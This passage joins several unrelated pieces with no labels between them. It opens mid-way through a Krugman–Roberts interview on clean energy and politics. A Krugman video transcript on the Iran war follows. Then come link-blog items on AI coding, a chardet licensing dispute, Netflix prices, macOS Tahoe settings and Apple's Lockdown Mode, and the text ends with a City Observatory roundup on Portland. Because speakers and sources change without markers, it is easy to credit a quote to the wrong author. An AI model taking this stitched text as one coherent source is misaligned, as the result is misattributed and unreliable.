I sort of divide my career, I’ve been at this since the early 2000s —over 20 years now, and I divide my career in two phases: right around 2015, in the wake of Obama’s stimulus bill, Germany had done its feed in tariffs, China had done its enormous manufacturing subsidies, all of this had come together. Finally, right around 2015, instead of “let’s solve climate change” being this abstraction, where you just go carry a poster board down a street in a march or something, all of a sudden there were things to do, there were things to implement, there were tools at hand. And it’s been wildly rapid progress ever since, to the point that I really don’t think the American public has any clue how fast things have gone. One of the big problems here in the US, we need to expand and bolster our electricity system for a bunch of reasons, including data centers, but we have these interconnection queues, where a utility—if you’re a big project—they have to give you explicit permission to connect to the grid. They have to make sure the grid can handle it. These queues of people waiting to hook up to the grid are incredibly long. There is more power represented in interconnection queues now then I think the total production existing, and not all those projects are real—some of them are in 2 or 3 queues, who knows how many of them will actually pan out. But the point is all those interconnection queues are filled with clean energy. It’s 87%, or something like that. I’m pulling that a little bit off the top of my head, but something in the neighborhood of 87% of all the projects and all the QS are clean energy. That’s what’s cheap now, so that’s what people want to build.

Krugman: These are people wanting to build stuff to feed into the grid.

Roberts: You need a big utility scale solar project. You have to wait for the grid to say, “yes, we can handle this.” Our utilities are so dysfunctional that it often takes two, three, five years these days. But almost everybody who’s waiting has got a clean energy project. Those are the things people want to build. Whereas to keep a coal plant open, which Trump is also trying to do, you basically have to intervene with the police power of the executive branch and force them to do it at gunpoint, because it’s losing money every day. We just had this in Washington state, where the federal government is forcing us to keep a coal plant open, and it’s just hemorrhaging money. Nobody wants it. Nobody needs it. So, it’s clear the direction of travel. Let’s just say that.

Krugman: Just out of curiosity, who is the federal government forcing to do this? Is it forcing the utility to keep buying from a coal plant?

Roberts: Yes. You will not be shocked to hear that the rationale is “national security.” You will not be surprised to hear that if you poke at that a little bit, there’s nothing under it. There’s nothing.

Krugman: Actually just a quick question, since we talked about China. China is still burning a lot of coal. I think it’s started to decline a little bit, but are you keeping track of that?

Roberts: The China coal situation is complicated and nuanced and it’s not very intelligently discussed over here. Everybody uses it to grind their own axes. But the thing is, they don’t have a lot of natural gas there. That’s what we have. That’s why we are getting off coal. That’s why coal has been declining so rapidly in the US, because we have a bunch of cheap natural gas. They don’t have a ton of that. They’re getting into it, they’re starting to frack, they’re expanding. But their choices for electricity are basically coal or renewables. So they’ve been moving to renewables at an amazing speed. You’re familiar with the China phenomenon, which is its number one in everything. So it’s hard to get any sense of proportion: it’s number one in coal. It’s number one in oil. It’s number one in renewables, in dams. Name a thing, China’s number one in it. But the situation with coal is they’re still building coal plants because they still have a lot of coal. They’ve gotten to the point now where renewables are satisfying all the new energy demand, all the new growth in China, but they’re not quite biting into existing yet. So all of the world is on the edge of its seat watching, “can China build out renewables fast enough to really start to bite into the existing base of coal and if they can’t, what else can do that?” They’re pursuing nuclear power really quickly, too. As I said, they’re number one in that too. So they are trying actively to get off coal, but they don’t have a lot of gas. They certainly don’t want to import our gas. So they’re kind of stuck with coal until they can get renewables and nuclear to scale, which they are doing at a rapid pace.

Krugman: So do you think there’s a tipping point where it’ll change abruptly, or are we talking about 40 more years?

Roberts: Everybody wonders when the peak of Chinese emissions will be. In global energy circles, everybody wants to bet on exactly when this is going to happen. It’s been predicted in the past, the last couple of times it didn’t happen. But I will just say they’ve moved that peak up in their latest five year plan, or at least one of the previous five year plans, and they meet their targets. Unlike us, they set relatively conservative targets and then meet them. So, they are moving rapidly in that direction. They care about climate change and they will suffer from climate change more than almost any other country. But this is a lot about national security and national competitiveness. They know that 80% of the world is oil importers and 20% is oil exporters. They want the oil importers to come their way to get off oil, and come their way so they can dominate, so they have everybody now getting hooked on their supply chains, their critical minerals, their solar panels, etc.. They are positioning themselves to dominate the coming century.

The whole point of the Inflation Reduction Act was to try to catch up. It was sort of a frantic catch up effort, like, “let’s do some domestic manufacturing here, let’s open some mines and, and dig up some of our own critical minerals. Let’s stimulate the EV industry and thereby attract a battery industry because we desperately need batteries, not just for EVs, but for drones, and the military, and everything.” Everybody’s using drones these days. Everybody’s moving toward electricity. So they’re building an electrostate for national security reasons. The rest of the world is watching. “Do you want to be a Petrostate and fight off the future, or do you want to embrace the future and pursue it?” It blows my mind that we are basically the global bad guy now, trying to drag people backward into not just fossil fuels, but all the geopolitics of fossil fuels, all that. If nothing else, the Iran war is just a visceral theatrical demonstration to everyone in the world of the dangers of being hooked on fossil fuels. He couldn’t have scripted a more apt lesson for everybody.

Krugman: It is really shocking. I have to say, why wasn’t I looking at maps and saying that the Strait of Hormuz—the world should really not be depending on that.

Roberts: The military has been planning around that for literally like a century. Everybody knew that. I’m preaching to the choir here, but there’s so much of punditry now and there’s so much of official discourse which cannot accept the idea that Trump is just a declining, semi-senile old narcissist. He launched a war on Iran, basically on a whim with no idea what to do next, they can’t accept that. So everybody’s working so hard to try to impose some motivation or some plan or some idea or something, but it really does seem like he just kind of did this because Venezuela produced a lot of cool videos of “boom boom”, and he wanted more “boom boom” videos, and so he invaded Iran. That seems to be literally what happened, we’re having so much trouble accepting that.

Krugman: You’ve never actually been in the government or anything like it?

Roberts: No, no.

Krugman: I had an extremely edifying year as a sub political guy, actually, in the Reagan administration, I was a senior economist at the Council of Economic Advisers and got to see government in action, which dispelled any faith you might have had that “the people in charge must know what they’re doing.” And this was the Reagan administration, of course, orders of magnitude more rational than these guys.

Roberts: Maybe it’s just me, but I find myself fond of—kind of missing the illusion that the people in charge knew what they were doing, right? The naked demonstration that they don’t is not better. I miss those illusions.

Krugman: Let me come back to political economy in a bit, but I wanted to talk a bit more about these issues. In the before times, before it became clear just how big this green energy revolution was technologically, conservation was a lot of the story. That has fallen, I think it’s far out of the discourse, but you actually talk quite a lot about things that could be basically reducing energy use in addition to replacing fossils with renewables. So where are you on that right now?

Roberts: It’s interesting. You have correctly noted that efficiency, i.e. doing things differently to use less energy, was dominant in energy discourse in the early 2000s and has largely fallen out. I think the reason is, a couple things have happened, the wise counsel of pundits and consultants have decided that that smacks of “using less”, Jimmy Carter wearing a sweater, etc.. On the other hand, clean energy has become so cheap that the mindset is shifting around to: why conserve if you can get solar and wind and batteries cheap enough? You can enter something like a situation of abundance, a situation where we no longer have a scarcity of energy, that is the glittering utopia at the end of all this: there is enough raw solar and wind energy around us to supply many multiples of all the energy we could possibly need. So it’s just tapping it with technology, and the technologies that tap into it have steadily gotten cheaper and cheaper and cheaper and cheaper for decades. They’re on very predictable learning curves and all you have to do is project those same learning curves forward ten years. If the learning curve just keeps doing what it’s doing for ten more years, clean energy is going to be wildly, trivially cheap. I think we’re not that far from a situation where we’re going to have during sunny days, a surge of solar energy so big that the new policy problem is going to be, “what do we do with all this energy?”

I’ll just say, people in the history of humanity, in the history of our species, as far as we know, in the history of biological life, no creature, no biological creature has ever existed absent energy-scarcity; energy scarcity has shaped all of life, right? We could theoretically be the first species ever to be in a state of energy abundance, of having all the energy we want or need, we have no idea what that could lead to. Part of the problem with environmentalism in the US, I think in the public’s mind, is that it’s very tied to conservation. It’s very tied to this idea that industry is sort of bad. “Humanity is bad. We need to shrink. We need to dial back. We need to be more agrarian, more pastoral.” That’s an image in a lot of people’s heads. But the thing is, if you are a forward looking person and you believe in humanity and love humanity and want humanity to grow and expand and have access to more energy, if you want humanity to desalinate the oceans and transform deserts into forests and go to Mars, whatever your grand ambition is for humanity, you can’t get there with fossil fuels. You physically can’t. You will burn yourself up. So if you have grand hopes for our species, only clean energy can get you there. Only clean energy and something like a physical closed loop system can get you there. Otherwise you’re just going to drown in your own waste. So everybody who’s hopeful and pro-human and pro-science and pro-growth and pro-all-that-stuff, you got to get on the clean energy train. That’s the only way to get there. This is a long way of saying, that mentality has taken over a little bit. And the conservation and efficiency people have been drowned out and pushed to the edges. I will say substantively, we’re obviously not at an energy surplus, yet, so obviously conservation and efficiency are still important and they’re still chugging away in the background, but they definitely have lost some of their sheen.

Krugman: It’s funny because at this point, there’s still a lot of scope for relatively painlessly using a lot less energy.

Roberts: Right. So let me make this point, I think this is so important and this is something I want you to know, and I want your audience to know. It is one of the most important things about the energy transition. If you switch from fossil fuel combustion to electricity, that alone gets you like a 50 to 60% bump in efficiency. Because as I think a lot of people know, most of the energy that goes into a combustion engine is wasted as waste-heat. Most of the raw energy that enters the economy is lost as waste-heat, something like 60 to 66%. Because combustion as a way of doing things is grossly inefficient in and of itself. So if you just switch from a gasoline car to an EV, much more of the raw energy that goes in is made into motion, it’s like 80% rather than 20% or something like that. I’m making these numbers up off the top of my head, but you get the point.

One of my energy gurus, Saul Griffith, an Australian energy analyst, has done the numbers on this, and he says, if you have all the same energy services, all the same cold beer, all the same warm showers, and you switch from combustion to electric motors rather than combustion motors, at a stroke, you get like a 50% to 60% gain in energy efficiency, without anyone using less or sacrificing in any way. Just the move from fossil fuel combustion to electricity is in and of itself the biggest efficiency gain we ever have had access to.

Krugman: So interesting. One of the seemingly longstanding obsessions of yours, and also of mine, is about sort of urbanism and lifestyle and energy use. At the moment it’s still the case that a high density public transit and walkable city makes a big difference.

Roberts: More density equals fewer per capita greenhouse gas emissions: that correlation holds not only at the country level and the city level. You can even look within cities. The per capita emissions are lowest in the densest area even at the neighborhood level. That correlation holds all the way down the line.

Krugman: One of my network circles is the regional science urban planning types. I don’t know if you’ve ever encountered Carlos Moreno, the 15 Minute City guy.

Roberts: I know the name.

Krugman: It turns out I live in a 15 minute city, actually.

Roberts: So DC is, low key, one of the really best urbanist cities in the US. It’s one of the easiest to walk and bike around. I don’t know if they appreciate that. Of course, Trump is literally, as we speak, trying to rip out one of the main new bike lanes that was put in DC a few years ago.

Krugman: It’s funny because here in New York—sorry, diversion—there are a lot of bike lanes around, but they’re mostly not actually for recreational bikers. They’re for demonic food delivery guys. If I go early it’ll be because I’ve been run down by somebody delivering sushi.

Roberts: 30 miles an hour on an e-bike.

But here’s an insight into energy politics. Two correlations. One is the more density the lower the per capita greenhouse gas emissions. Another correlation that holds with spooky regularity at virtually any scale is: the more density, the more democratic it is. That’s mathematical, and that also applies all the way down to the neighborhood level. I think clean energy people would love to think, “this is nonpolitical, we should all be able to agree this is good for everybody.” You know, the typical democratic approach. But in reality, there are partisan implications to all this.

Krugman: I had in fact, reading through some of your older writings, you wrote a 2015, Grist piece called “Nothing Is Nonpartisan.” Which was about the intense opposition to even suggestions for lifestyle changes that can save you money.

Roberts: The dream of the technocrats. The climate movement in the 90s and 2000s were absolutely high on that drug. High on technocracy, the idea that if we do this in a way that economists respect, in a sensible way, it’s going to serve everybody and nobody will be able to oppose it because of all the myriad benefits. But I think we’ve all had a lesson in between then and now in the ongoing role of animal spirits in politics. People do not behave rationally, people hate change. They associate what they have with lifestyle, with identity. All these waters run deep. Energy is hearth and home, It’s like how you get around. It’s how you heat your home. It’s very personal. People do not think of it in objective and technocratic terms. They think of it in terms of identity. So you have to operate on that register. You have to be able to speak that language.

Krugman: I wrote just a few days ago about wind power and what is wild about that is—first of all, the extreme: Trump personally, but just generally: the extreme hostility, ideologically to wind power, even though it’s already big business.

Roberts: In Republican states! It’s like the majority of power in Iowa, there are Republican states that utterly depend on wind. So I think that ideological opposition is mostly about kissing Trump’s ass. I think it’s kind of inch deep. What you see now is because Trump wants to be energy dominant and he wants to be AI-dominant. Everybody is now telling him, “you’re crushing solar power, but that’s the fastest growing source of power.” It’s an interesting thing going on in DC now, trying to peel solar off from wind. Stephen Miller’s wife tweeted some love of solar power the other day. So there’s like a MAGA solar faction now that’s trying to peel off solar from wind and get, you know, some pro solar policy snuck through. Because I think everybody’s just decided that Trump’s anti-wind thing—you can’t get around it.

Krugman: I mean I’ve had some back and forth with people I respect who say, “it’s all ultimately Koch brothers propaganda.’’ My instinct, but I’m not sure I’m right, is to say it’s this visceral and at some level, psychosexual thing about Petro masculinity.

Roberts: It’s a real thing. Well, I will say you’re right. That the real action in energy right now is these local sitting meetings, in local communities, in local boards, and the right wing is very good at taking billionaire money and funding anti-renewables propaganda and then flooding those little towns with it. Sending people to those meetings. So town after town is passing these moratoria on solar and wind, which is insane. And of course, the public also doesn’t want natural gas infrastructure built near it. But no state cares about that at all. They’re just building it anyway. But any public protest on renewables halts the whole thing. So yes, there is a well funded right wing effort to push back against renewables and preserve fossil fuels.

Krugman: This is one of those places where there’s people on the left who are also part of the problem. I know big liberals who give lots of money to activists and are also absolutely crusading against wind farms off the East Coast.

Roberts: Well, wealthy people, they love to drive and they don’t want to see infrastructure and their public policy principles tend to end at their neighborhood gate. I’ve been trying for years to say, “look, you can’t get away with this anymore. You cannot be a NIMBY and call yourself a liberal anymore.” We need to have some social sanction on this. We need people’s reputation to be hurt if they try to do that. Building electricity infrastructure and building housing, those are the two most important things in climate right now, not just economically, but in climate and in energy and economics. You got to get on board actually.

Krugman: There’s this bizarre debate now which is kind of within the Left over: does building more housing actually reduce housing prices?

Roberts: Are you baffled by this? I had thought that supply and demand were well-established concepts in the field of economics. But there are so many people on our side who don’t think they apply in this arena. I don’t totally get it.

Krugman: I mean, for what it’s worth, there’s a slide. If you look only at the local level, it’s possible that building more housing makes a neighborhood more attractive and actually leads to a rise in the price of the existing housing. But it can’t be a global phenomenon.

Roberts: I feel like if you find yourself in the position where you are saying, “don’t make the place I live nicer.” Someone’s gone off track somewhere, right? Like that can’t be right. That can’t be where we end up. So it’s just I think part of it is we’re just so far behind that, obviously, the next apartment building is not going to turn the tide, you know what I mean? We’re so far behind that we’ve got a long way to go just to catch up on housing stock.

One of the most remarkable things, I would say, in Left politics that I’ve seen in the last ten years is the absolute explosion of the YIMBY movement. And not just in its size, but it’s winning. Which is not something you can say of a lot of other Left movements of the moment. It’s winning victories and it’s changing minds. I really think the Democratic caucus is moving on this issue, which is heartening to see that anything can succeed, that anyone’s mind can change about anything.

Krugman: For listeners, YIMBY is “yes, in my backyard”. NIMBY is “not in my backyard.”

Roberts: Pro-building, pro-density, all the message-people tell us we’re not supposed to say “anti-car,” you definitely don’t want to put “anti-car” on your flier or on your website, but “just between you and me, anti-car as well.”

Krugman: One question. A little bit of a diversion here but, the rise of EV and autonomous vehicles especially: that might actually work to de-densify our lives.

Roberts: This is an interesting gathering—mostly nascent at the moment—but a growing fight on the Left. Autonomous vehicles are going to bring some obvious advantages. The safety advantages, I think there are a lot of people on the Left who are a little bit in denial about this, but the safety boost is real. I think it’s already measurable. That’s a big deal. Cars kill a lot of people, it’s like the second or third cause of death in the United States. It’s not a small thing to be safer, but as an economist you know, if you make a good substantially cheaper, people will consume more of it. So if you make getting around in a car cheaper and easier and more pleasant, people are going to do it more. So there’s just going to be more cars. Ultimately this is a geometry problem. It’s not morals, or whatever. It’s just geometry. If you want the goods and benefits that come along with agglomeration, that come along with cities, you need a certain level of density to achieve those benefits, and you cannot achieve those levels of density if everyone owns a car. That’s just geometry.

I would like for us to be thoughtful and strategic in our autonomous vehicle policy. I would like us to implement those policies with an eye toward reducing total vehicle miles traveled with an eye toward moving people out of private vehicles generally like more fleet vehicles, more shared vehicles. We need to just be thoughtful about how we do this. That’s not typically what we do, but it would be nice in this case if we didn’t just blunder into this, because there’s all kinds of second and third order effects that we just have no idea about yet with this shift.

Krugman: Autonomous vehicles would presumably be fleet vehicles, but they would make it a lot easier to live in a sprawling neighborhood in Jersey.

Roberts: I think your average wealthy suburban Republican politician would love privately owned autonomous vehicles. I bet they would love that. I bet that’s what’s going to happen unless we explicitly act to prevent it. And then if you have your own autonomous vehicle, you can just tell the vehicle, “go pick up Timmy and then come back and park in the lot and then go do this.” Or just like “drive around while I’m here,” it becomes trivially easy to deploy a vehicle, right? If you own one and you don’t even have to be in it, or if you’re in it, you can be on your phone or whatever, it just becomes trivially easy. So of course, people are going to use it more, and of course people are going to start living farther from job centers if commuting becomes easier and more pleasant. That’s not what we want. We want the opposite of that. So I am just nervous about the whole thing. I mean, you can think of ways we could do this that would serve everyone. But that’s not typically how we do things.

Krugman: Not going to happen.

Coming back to where sort of where we started. I think you believe the power of technology and the fact that America is not the center of the world anymore means that electrotech is where we’re going to go?

Roberts: I think at this point it’s more or less inevitable, yes. It’s in the logic of the physics. Ultimately, physics wins out in the end. Timing, of course, is what’s hard to predict, and timing is everything. How fast? I don’t know.

Krugman: Because we’re in a race against climate change, it’s still happening.

Roberts: We’re in several races and now we’re in a sort of geopolitical race with China. We’re in all kinds of races and this is another crucial point that I feel the Trump people don’t get and that everybody needs to get: if you don’t care about climate at all, even if you don’t care about pollution at all, even if you just want to win the AI race, if you just want to win the AI race, you need the full AI stack. What we’re trying to do is dominate AI purely through the prompts. We’ve decided, “oh, we don’t need the physical substrate,” but we do. There’s a reason China has grabbed and dominated the physical substrate of the electrotech economy. The minerals, the batteries, the magnets, all that stuff. We’re trying to dominate AI with just the top froth and they are trying to dominate AI by owning the whole stack all the way down to the electrons, you need clean electrons to run your AI. So they are building with that in mind.

One of the things I’m fond of saying is the shift to clean energy is overdetermined in terms of justification. You can justify it on a climate basis, but you can also take climate out of it entirely and still justify it easily. You can justify it purely on the basis of reductions in particulate pollution. The research on particulate pollution, it’s just gotten worse and worse and worse. We’re expanding our notion of how much damage it does. So just the public health benefits of reduced particulate pollution alone could pay for the transition. Or you can take pollution out of it. Just focus on AI, just focus on competitiveness with China. Take any one of these reasons. They all point the same direction. They all point: shift to clean renewable energy as fast as possible. It is justified by any one of those. That’s why I think another reason that climate has a little bit fallen out of things is that the whole, almost everything you need is justified by a bunch of other reasons, so if climate is controversial, it if it drags in a lot of unwelcome associations, drop it, justify it based on other reasons, like there’s a million reasons to do this. It’s very obvious.

Krugman: Okay. So to summarize, you think that the world will probably save itself.

Roberts: Well…

Krugman: On that front anyway, but the US course is really stupid and unjustifiable, and therefore we’re going to do it. (laughs)

Roberts: I have not predicted anything accurately in ten years. So don’t come to me for predictions. But I’m at least curious what will happen if we genuinely stick with this, if we genuinely try to be the last Petrostate standing, if we’re trying to be the last one selling the last barrel of oil to the last buyer, what does that do to our geopolitics? You can imagine us becoming a genuine pariah, a genuine international pariah with no friends but North Korea and Russia. That’s kind of where we’re heading. I don’t know if the American people really get that. That’s where we’re heading or would want to go there if they were aware of the choice. So I don’t know what’s going to happen, but I feel quite certain that there’s no pot of gold at the end of that rainbow.

Krugman: Okay. I think we should probably end with that hopeful diagnosis.

Roberts: I would just say, as a final thing, everybody’s talking about how all the smart young people are going into dumb AI stuff or dumb finance stuff. I would just say that this area of clean energy technology is an area where there’s enormous things happening. There are discoveries waiting to be made. We’ve been doing things one way for over a century, and now we’re really rapidly trying to do it in a different way, which means there’s all kinds of discoveries to be made. There’s glory to be had here. This is a mission. This is something to be part of, that matters, that’s important. Don’t go into finance. Don’t try to get a burrito to someone in their home five seconds faster, do something that matters and that is important. There are so many ways to get involved in this fight.

That’s my inspirational message to end with.

Krugman: Uplift. Thank you so much.

Roberts: Thanks Paul.

For more like this, check out my YouTube channel

Transcript

Has the US military already been Kudlowized? Hi, I’m Paul Krugman. I’ll explain what I meant by that in a couple of minutes.

It’s Friday morning. The war is continuing. A lot of what’s happened in the Iran war has sadly not come as a surprise. The fact that there was no planning, that there was no plan B in case a decapitation strike didn’t do the job, that Trump’s people didn’t seem to have gamed out at all what would happen if their fondest wishes did not come true — unfortunately, that’s par for the course.

There was a famous book in the Vietnam years about how all that went wrong, about how all of the sort of brains trust around LBJ led us into that disaster, and it was called “The Best and the Brightest.” In this case, it’s obvious: Everybody knows that we’ve got the worst and the dumbest. So we knew that the thinking about strategy was going to be nil, that it was going to be all very ill-conceived.

The surprise, and it’s an unfavorable surprise, is that the U.S. military has not been doing too well either. I mean, obviously, you know, they can blow up anything they want. There’s no question that the U.S. has unchallenged superiority in all of the conventional aspects of warfare. There’s no Iranian Air Force for, you know, there’s no Iranian Navy in any conventional sense. Unfortunately, it’s not that kind of war. The failure to have a prepared response to the modern world of drones and inferior powers which nonetheless have the ability to do a lot of damage, has been a bit of a shock.

Now, admittedly, that is something that I, like I think a lot of people who are amateur followers of military affairs, was worried about watching developments in Ukraine. You couldn’t help but wonder whether the U.S. military, with its emphasis on overwhelming force, with its historic superiority in technology, was actually ready for this new world of kind of democratized ability to inflict damage. And there were some straws in the wind suggesting that we were not, that maybe just the historical record of overwhelming dominance had made the US military complacent. But it still comes as a shock to find that U.S. bases in the region appear to be sort of completely unprotected, unhardened, that the U.S. went into this thing sending, you know, multimillion-dollar interceptors to shoot down multithousand-dollar drones.

It’s been really kind of shockingly overwhelmingly, I’m not sure incompetent, but unprepared. It’s just shocking how unready the world’s greatest military seems to have been for a war that was in many ways prefigured by what’s been happening in Ukraine for several years now. So how did that happen?

I was motivated to do this video by a report in The New York Times about what Pete Hegseth has been doing to the military, about the passing over of promotions for officers who happen to be black or female. It’s just been this shocking sort of anti, reverse DEI, otherwise known as racism and misogyny. But in general, I think it’s pretty clear, not just that Hegseth doesn’t like women, doesn’t like non-whites, but also he doesn’t like smart people. He doesn’t like people who are competent at their jobs. He wants people who are into lethality and dumb shows of force, which is not a good thing in a 21st century military. But I had thought that this would take longer.

And I’m wondering whether this is just Hegseth or whether this is a process that has been underway. And of course, it’s now accelerated drastically under current management.

And so let me explain about Kudlowization. In places where I do know something, do know what I’m talking about, which is economic policy making, economic discussion, there has been a long-standing dumbing down on the right wing, a dumbing down of economic thinking, dumbing down of economic discourse. Which is a little odd because for an academic field, economics has a lot of conservative people, not extreme right-wingers, but kind of small government, low tax, deregulation.

That kind of comes with the territory. It’s not that it’s necessarily right, but the simplified models that we use in economics do tend to point you that way. We like simplified models in which the market is always right, and in some ways the line of least resistance is to say that the models are right, the market is always right. So there are plenty of people who, at least by conventional, by historical standards, would be considered conservatives. And some of them have spent, over the course of my professional lifetime, have spent a lot of time trying to be part of the Republican policy apparatus, have sought appointments in Republican administrations. But more and more, and totally in recent decades, have been frozen out.

It turns out that the modern Republican Party doesn’t want, say, Greg Mankiw. They don’t want moderately conservative, technically competent economists. They want people who have no idea what they’re doing. They want ideologues, not even ideologues, but loyalists, people who will say whatever it is they want, the party wants them to say. They want Larry Kudlow, Stephen Moore. They want the often wildly incompetent but reliable people who are reliable in part because they’re incompetent. Somebody who has a professional reputation, a professional skill set might be tempted to actually someday take a stand on principle, and that’s unacceptable.

So we have this kind of real extreme, not just political extremism, but complete lack of ability to do the job, which is almost, in a sense, incompetence is a job requirement.

And I’m starting to wonder if that hasn’t started to infect the military as well. Certainly the people that someone like Hegseth wants are people who believe in warrior ethos, who believe in lethality, who believe in muscles in an age when war is largely waged by guys staring at video screens. And it’s a technological war in which all of those things matter not at all. But anybody who is likely to think that is not this regime’s, this movement’s kind of guy.

Now, what worries me, I mean, how much damage could they have done in just 14 months? Well, maybe quite a lot, but when I talked with Phillips O’Brien a while back, he said that this rot has been underway for a while, that there’s actually a kind of a MAGA-esque faction even within the professional officer corps.

And we certainly seem to be seeing that. So it looks as if the worst and the dumbest are not just at the top of the political leadership. They’re not just on the diplomacy and strategic policymaking end, but even in the cutting edge of the military. And it’s terrifying. America as we knew it may just not exist, even in our military forces.

On that happy thought, have a great day.

The thing about agentic coding is that agents grind problems into dust. Give an agent a problem and a while loop and - long term - it’ll solve that problem even if it means burning a trillion tokens and re-writing down to the silicon. [...]

But we want AI agents to solve coding problems quickly and in a way that is maintainable and adaptive and composable (benefiting from improvements elsewhere), and where every addition makes the whole stack better.

So at the bottom is really great libraries that encapsulate hard problems, with great interfaces that make the “right” way the easy way for developers building apps with them. Architecture!

While I’m vibing (I call it vibing now, not coding and not vibe coding) while I’m vibing, I am looking at lines of code less than ever before, and thinking about architecture more than ever before.

— Matt Webb, An appreciation for (technical) architecture

Tags: matt-webb, ai, llms, vibe-coding, coding-agents, ai-assisted-programming, generative-ai, agentic-engineering, definitions

Release: datasette-showboat 0.1a2

I added an option to export a Markdown file from my app that lets Showboat incrementally publish updates to a remote server.

FWIW, IANDBL, TINLA, etc., I don’t currently see any basis for concluding that chardet 7.0.0 is required to be released under the LGPL. AFAIK no one including Mark Pilgrim has identified persistence of copyrightable expressive material from earlier versions in 7.0.0 nor has anyone articulated some viable alternate theory of license violation. [...]

— Richard Fontana, LGPLv3 co-author, weighing in on the chardet relicensing situation

Tags: open-source, ai-ethics, llms, ai, generative-ai, ai-assisted-programming

Todd Spangler, Variety:

Under the new pricing, effective March 26 for new users and rolling out to current customers depending on their billing cycle, Netflix’s Standard plan (which has no ads and provides streaming on two devices simultaneously) is rising by $2, from $17.99 to $19.99/month. The ad-supported plan is going up a buck, from $7.99 to $8.99/month, and the top-tier Premium plan (no ads, streaming on up to four devices at once, Ultra HD and HDR) is increasing from $24.99 to $26.99/month.

I pay the full $27/month because I’d rather cancel Netflix than watch ads, and I suspect I’d notice the difference between 4K and 1080p. But also because money runs through my fingers like water.

The Good News First

Just this week I wrote about a hidden defaults preference you can set to turn off most of the insipid menu item icons in most of Apple’s first-party apps in MacOS 26 Tahoe. I bemoaned the fact that Safari — generally an exemplar of what makes a great Mac app a great Mac app — generally ignored this setting, leaving most of its menu item icons in place. I am delighted to report that that’s fixed in MacOS 26.4. With the preference set to hide these icons, Safari now only shows a handful.

Here’s a link to the screenshot of the old before/after, taken on MacOS 26.3.2. Boo hiss. Here’s the new before/after, taken on MacOS 26.4:

In Tahoe 26.3 (and presumably, earlier versions of Tahoe), 16 of 19 menu items in Safari’s File menu still showed an icon with this setting enabled. In 26.4, only 5 of 19 do.¹ The rest of Safari’s other menus have been updated similarly, and look so much better for it.

It’s interesting to me that Safari was updated to support this hidden preference in 26.4. I take it as a sign that there’s a contingent within Apple (or least within the Safari team) that dislikes these menu item icons enough to notice that Safari wasn’t previously recognizing this preference setting. (And I further take it as a sign that within Apple’s engineering ranks, the existence of this defaults setting is widely known.) Keep hope alive.

Now the Bad News

Another recent Tahoe-related tip I’ve been writing about was using a device management profile to block the prompts in System Settings → General → Software Update to “upgrade” from MacOS 15 Sequoia to 26 Tahoe. I first wrote about it a month ago, linking to a post from Rob Griffiths. I then wrote about it again, just this week, linking to a YouTube video from Mr. Macintosh.

Ever since this technique started making the rounds, there was widespread commentary that it was taking advantage of a bug, not a feature, in MacOS 15 Sequoia. The 90-day “deferral” period to block the Tahoe update prompts was supposed to be from the date the Tahoe major release (26.0) was released, not from the most recent minor release. Welp, with this week’s release of MacOS 15.7.5, this bug is fixed, and Tahoe shows up in the Software Update panel in System Settings even if you have one of these device management profiles installed. Alas.

All is not lost, however. The same video from Mr. Macintosh shows a second, slightly less elegant way to banish all signs of Tahoe in Software Update (just after the 9:00 mark). The trick is to register your Mac for the MacOS Sequoia Public Beta updates (or the developer betas). This blocks all signs of Tahoe. You don’t actually have to install any future betas of Sequoia (at the moment, there are none available). Just make sure you have Automatic Updates disabled too. I’d rather risk inadvertently installing a public beta of 15.8 Sequoia than inadvertently “upgrading” to Tahoe.

Oliver Darcy, reporting for Status (paywalled, alas):

According to the data obtained by Status, BI ended 2023 with roughly 160,000 paid subscribers, a drop of about 14 percent from the prior year when it boasted about 185,000 subscribers. The slide did not stop there, however. In 2024, it closed the year with roughly 150,000 subscribers, a further six percent decline. And in 2025, the number fell again, to about 135,000 paid subscribers — another 10 percent drop.

All told, over roughly three years, BI saw its subscription base plummet by about 50,000, or a jarring 27 percent.

Not the sort of momentum you want.

Lorenzo Franceschi-Bicchierai, reporting for TechCrunch:

Almost four years after launching a security feature called Lockdown Mode, Apple says it has yet to see a case where someone’s device was hacked with these additional security protections switched on.

“We are not aware of any successful mercenary spyware attacks against a Lockdown Mode-enabled Apple device,” Apple spokesperson Sarah O’Rourke told TechCrunch on Friday.

What City Observatory Did This Week

The Business Climate is “terrible”–so what’s new, and who cares.  For years, local businesses have been complaining about Oregon’s business climate–but businesses always complain about the business climate pretty much everywhere.  Even though  three-fifths of the state businesses told survey researchers that the state’s business climate was bad and getting worse in 2018, over the past decade or two, the state’s economy has continued to out-perform the nation.  Productivity growth ranks seven in the country since 1997, per capita income, as a percent of the national average is now as high as it has been in the past two decades.

 

Brookings Institution ranked three of the state’s four metro areas among the top ten compared to their peers in prosperity in its 2026 Metro monitor.   Oregon was even a net gainer in business relocations according to the latest BLS data.   Businesses will always complain about taxes they pay and regulations they obey, and assume that they have it worse than businesses in other states–they’re sure the  grass is always greener.  But perceived business climate has little to do with having a successful state economy.

How should Portland pay for streets?  Let’s not tax houses to subsidize cars, especially non-resident’s cars.  Once again, the City of Portland is saying it doesn’t have enough money to maintain or repair city streets, and just as a decade ago, officials are floating the idea of a flat monthly household fee.  It’s a bad idea.  The fee bears no relationship to how much demand households place on the street system, and loads none of the cost on those who drive from outside the city.  A majority of those working in Multnomah County live in other counties, meaning that much, if not most of peak hour commute traffic is non-residents, who would pay nothing.

In addition, thousands of out-of-state cars are parked on city streets every day, not to mention permanently parked vehicles with expired registrations, or no plates at all.  Instead of a flat household fee, it makes more sense to raise the gas tax (which directly corresponds to driving and damage to streets) and implement a system of charging for using the streets to store private automobiles.

The Trail Blazers’ $600 Million Shakedown Has a Legal Name — Two of Them. Extortion is a crime, and what new Blazer owner Tom Dundon is running arguably violates both antitrust law and the federal RICO statute. The NBA’s deliberate restriction of franchise supply — coordinated among 30 separately owned teams — pits city against city, extracting public subsidies that shift costs to taxpayers while profits flow to owners. Oregon, Portland, and Multnomah County, all financially strapped, are handing a Texas billionaire $600 million while Dundon contributes nothing to the cost of modernizing the Moda Center.

Two laws offer recompense. The Sherman Act — which bans conspiracies in restraint of trade and allows treble damages — could translate that $600 million into $1.8 billion. RICO applies because months of private lobbying used implicit relocation threats and likely fraudulent economic projections to extract hundreds of millions from public treasuries. The Oregon Attorney General has standing to act. The question is whether Oregon has the political will to call this what it is.

Must Read

Joe Gyourko on Housing Affordability.  This Brookings Institution expert has a diagnosis and prescription for the US housing market.  His analysis is that we have a shortage of housing.

